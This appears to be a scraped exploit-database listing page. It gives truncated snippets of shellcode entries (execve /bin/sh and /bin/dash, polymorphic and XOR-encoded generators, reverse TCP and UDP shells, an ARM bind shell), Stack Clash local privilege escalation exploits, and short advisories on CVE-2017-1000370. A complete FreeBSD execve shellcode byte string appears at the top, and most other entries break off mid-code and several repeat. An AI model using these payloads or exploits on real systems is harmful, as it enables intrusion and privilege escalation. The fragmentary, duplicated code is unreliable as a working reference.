FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes)

/ Gitsnik, @dracyrys FreeBSD x8664 execve, 28 bytes / C source: char code = \ "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05"; Intel Assembly: global start ; ; 28 byte execve FreeBSD x8664 ; ; gitsnik@bsd64$ nasm -f elf64...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)

/ Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f polymorphic.nasm global start section .text start: add esi, 0x30 ;junk xor ecx, ecx mul ecx mov dword esp-4, ecx...

Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (53 bytes)

Linux/x86 - execve/bin/sh + Polymorphic Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f...

Linux/x86 - execve /bin/dash Shellcode (30 bytes)

/ Description ; Title : exec /bin/dash - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/dash shell ; OS : Linux ; Arch : x86 ; Size : 30 bytes dash.nasm global start section .text start: ; push NULL into the...

Linux/x86 - execve(/bin/dash) Shellcode (30 bytes)

Linux/x86 - execve/bin/dash Shellcode 30 bytes. Shellcode exploit for Linuxx86 platform / Description ; Title : exec /bin/dash - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/dash shell ; OS : Linux ; Arch :...

Linux/x64 - Custom Encoded XOR + Polymorphic + execve(/bin/sh) Shellcode (Generator)

Linux/x64 - Custom Encoded XOR + Polymorphic + execve/bin/sh Shellcode Generator. Shellcode exploit for Generator platform !/usr/bin/python from random import randint encoded = "" encoded2 = "" badchars = 0x00 shellcode = "\x90" +...

Synology StorageManager smart.cgi Remote Command Execution

Vulnerability Summary The following advisory describes a remote command execution vulnerability found in Synology StorageManager. Storage Manager is “a management application that helps you organize and monitor the storage capacity on your Synology NAS. Depending on the model and number of...

Linux/x64 - Reverse TCP (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode (104 bytes)

Linux/x64 - Reverse TCP 127.0.0.1:4444/TCP Shell /bin/sh + Password 1234567 Shellcode 104 bytes. Shellcode exploit for Linuxx86-64 platform global start start: ; sock = socketAFINET, SOCKSTREAM, 0 ; AFINET = 2 ; SOCKSTREAM = 1 ; syscall number 41 push 41 pop rax push 2 pop rdi push 1 pop rsi cdq...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (30 bytes)

/ Title: Linux/x86 - Polymorphic execve /bin/sh x86 shellcode - 30 bytes Author: Manuel Mancera @sinkmanu Tested on: Linux 3.16.0-4-586 1 Debian 3.16.43-2+deb8u2 2017-06-26 i686 GNU/Linux ----------------- Assembly code ------------------- global start section .text start: xor eax, eax push eax m...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (30 bytes)

Linux/x86 - execve/bin/sh Polymorphic Shellcode 30 bytes. Shellcode exploit for Linx86 platform / Title: Linux/x86 - Polymorphic execve /bin/sh x86 shellcode - 30 bytes Author: Manuel Mancera @sinkmanu Tested on: Linux 3.16.0-4-586 1 Debian 3.16.43-2+deb8u2 2017-06-26 i686 GNU/Linux...

Linux/ARM (Raspberry Pi) - Bind TCP Shell (4444/TCP) Shellcode (192 bytes)

/ Andrea Sindoni - @invictus1306 This schellcode is part of my episodes: - ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/ Enviroment: Raspberry pi 3 Default settings for port:4444 @.syntax unified .global start start: mov r1, 0x5C @ r1=0x5c mov r5, 0x11 @...

BSA-2017-358

Security Advisory ID : BSA-2017-358 Component : Offset2lib Patch Protection Bypass Revision : 2.0: Interim The offset2lib patch as used in the Linux Kernel contains a vulnerability that allows a PIE binary to beexecve'edwith 1GB of arguments or environmental strings then the stack occupies the...

Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) -

Exploit for linux platform in category local exploits / Linuxldsohwcap64.c for CVE-2017-1000366, CVE-2017-1000379 Copyright C 2017 Qualys, Inc. myimportanthwcaps adapted from elf/dl-hwcaps.c, part of the GNU C Library: Copyright C 2012-2017 Free Software Foundation, Inc. This program is free...

Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - ldso_hwcap Loc

Exploit for linux platform in category local exploits / Linuxldsohwcap.c for CVE-2017-1000366, CVE-2017-1000370 Copyright C 2017 Qualys, Inc. myimportanthwcaps adapted from elf/dl-hwcaps.c, part of the GNU C Library: Copyright C 2012-2017 Free Software Foundation, Inc. This program is free...

FreeBSD - 'setrlimit' Stack Clash (PoC)

/ FreeBSDCVE-2017-1085.c Copyright C 2017 Qualys, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or at your option any later version. This...

Linux Kernel (Debian 78910 Fedora 232425 CentOS 5.35.116.06.87.2.1511) - ldso_hwcap Stack Clash Local Privilege Escalation

Linux Kernel Debian 78910 Fedora 232425 CentOS 5.35.116.06.87.2.1511 - ldsohwcap Stack Clash Local Privilege Escalation / Linuxldsohwcap.c for CVE-2017-1000366, CVE-2017-1000370 Copyright C 2017 Qualys, Inc. myimportanthwcaps adapted from elf/dl-hwcaps.c, part of the GNU C Library: Copyright C...

Linux/x86 - Reverse UDP Shellcode (668 bytes)

; SLAE-X ; thanks to writesup from previou students : ; assignment: 2. create a reverse shell ; originality: using UDP instead TCP ; usage : sudo ncat -lup 53 on the receiving end ; warning, this shellcode might contains null byte if you use certain ip / address %define htonsx x 8 & 0xFF | x & 0x...

DEBIAN-CVE-2017-1000370

The offset2lib patch as used in the Linux Kernel contains a vulnerability that allows a PIE binary to be execve'ed with 1GB of arguments or environmental strings then the stack occupies the address 0x80000000 and the PIE binary is mapped above 0x40000000 nullifying the protection of the offset2li...

Design/Logic Flaw

The offset2lib patch as used in the Linux Kernel contains a vulnerability that allows a PIE binary to be execve'ed with 1GB of arguments or environmental strings then the stack occupies the address 0x80000000 and the PIE binary is mapped above 0x40000000 nullifying the protection of the offset2li...

CVE-2017-1000370

The offset2lib patch as used in the Linux Kernel contains a vulnerability that allows a PIE binary to be execve'ed with 1GB of arguments or environmental strings then the stack occupies the address 0x80000000 and the PIE binary is mapped above 0x40000000 nullifying the protection of the offset2li...